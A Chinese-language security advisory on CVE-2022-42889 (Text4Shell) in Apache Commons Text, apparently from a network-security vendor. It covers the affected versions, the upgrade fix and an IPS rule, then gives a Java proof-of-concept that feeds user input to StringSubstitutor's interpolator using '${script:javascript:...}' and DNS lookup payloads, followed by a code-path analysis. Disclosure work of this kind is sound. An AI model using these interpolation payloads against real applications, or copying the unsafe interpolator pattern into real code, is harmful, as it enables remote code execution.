一、漏洞資訊
漏洞描述
CVE編号:CVE-2022-42889
Apache Commons Text:該元件是一款處理字元串和文本塊的開源項目,簡單來說,除了核心Java提供的功能外,Apache Commons文本庫還包含了許多有用的實用程式方法,用于處理字元串。通常在開發過程中用于占位符和動态擷取屬性的字元串編輯工具包,常用于資料庫查詢前的語句替換,或者頁面輸出時的替換。
Apache Commons Text執行變量插值,允許動态評估和擴充屬性。插值的标準格式是“${prefix:name}”,其中“prefix”用于查找org.apache.commons.text.loookup的執行個體,執行插值的StringLookup 。從1.5版開始一直到1.9版,預設Lookup執行個體集包括插值器,這些插值器可能導緻任意代碼執行或與遠端伺服器通信。這些查找是:-“script”-使用JVM腳本執行引擎(javax.script)執行表達式-“dns”-解析dns記錄-“url”-從url加載值,如果使用不受信任的配置值,則受影響版本中使用插值預設值的應用程式,可能容易受到遠端代碼執行或與遠端伺服器無意接觸的影響。建議使用者更新到Apache Commons Text 1.10.0,預設情況下會禁用有問題的插值器。
影響範圍
1.5 <= Apache Commons Text <= 1.9
修複建議
建議更新元件,擷取官方版本位址如下:
https://commons.apache.org/proper/commons-text/download_text.cgi
安博通防護能力
對于該漏洞,安博通已經第一時間跟進,添加相應的IPS防護規則,為使用者提供高效及時的安全防護。
IPS版本:20221017.uips及以上版本
規則編号:995174
防護效果
二、漏洞研究
漏洞複現
複現的代碼如下:
package com.seanwrightsec.poc;
import org.apache.commons.text.StringSubstitutor;
import java.util.Scanner;
public class PoC {
public final static String DEFAULT_POC_STRING = "${script:javascript:195 + 324}";
public static void main(String[] args) {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
System.out.println("Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): ");
Scanner in = new Scanner(System.in);
String exploitString = in.nextLine();
if (exploitString.equals("")) {
exploitString = DEFAULT_POC_STRING;
}
String output = stringSubstitutor.replace(exploitString);
System.out.println("=====");
System.out.printf("Exploiting PoC with the exploit string '%s'%n", exploitString);
System.out.println("=====");
System.out.println("PoC Output:");
System.out.println("-----");
System.out.println(output);
System.out.println("=====");
}
}
構造語句:${dns:address|www.google.com},實作了對Google的dns位址查詢指令并成功傳回,可見遠端代碼執行漏洞确實存在。
代碼研究
下面從代碼運作的視角來分析漏洞産生的原因。
先從StringSubstitutor.replace方法中跟入。
調用substitute解析傳入的字元串。
跟進resolveVariable 。
這裡擷取的StringLookup,就是之前使用StringSubstitutor.createInterpolator()建立執行個體化對象的地方。
并在構造方法中調用了this.setVariableResolver(variableResolver),設定VariableResolver為InterpolatorStringLookup類。
繼續跟入InterpolatorStringLookup的lookup方法中。
構造的JavaScript字元串被傳入到lookup方法中。
而ScriptStringLookup類調用了lookup方法。
ScriptStringLookup類中的scriptEngine.eval函數擷取到了傳入的構造語句,直接執行。
關于這個引擎的介紹和使用可以參考這個連結:
https://www.qieseo.com/329754.html
Nashorn擴充可以使JVM在運作時動态調用JavaScript腳本,大大提升了開發時的靈活機動性,也正是以導緻了Apache Commons Text遠端代碼執行漏洞。
原因分析
該漏洞存在于StringSubstitutor插值器對象中。插值器由StringSubstitutor.createInterpolator()方法建立,并允許StringLookupFactory中定義的字元串查找。這可以通過傳遞字元串“${prefix:name}”來使用,其中字首如下:
使用“script”、“dns”或“url”查找,将允許字元串在傳遞給插值器對象時,執行任意腳本。
由于Commons Text是一個庫,是以插值器的具體用法将決定此漏洞的影響程度
雖然此特定代碼片段不太可能存在于生産應用程式中,但令人擔憂的是,在某些應用程式中,pocstring變量可能被攻擊者控制。從這個意義上說,該漏洞與Log4Shell相呼應。但是,與Log4j中易受攻擊的字元串替換相比,StringSubstitutor插值器的使用範圍要小得多。并且這種插值器的性質意味着,将内容輸入到易受攻擊的對象中的可能性,比僅與Log4Shell中的此類字元串互動的可能性要小。
PoC/Exp
POC : https://github.com/SeanWrightSec/CVE-2022-42889-PoC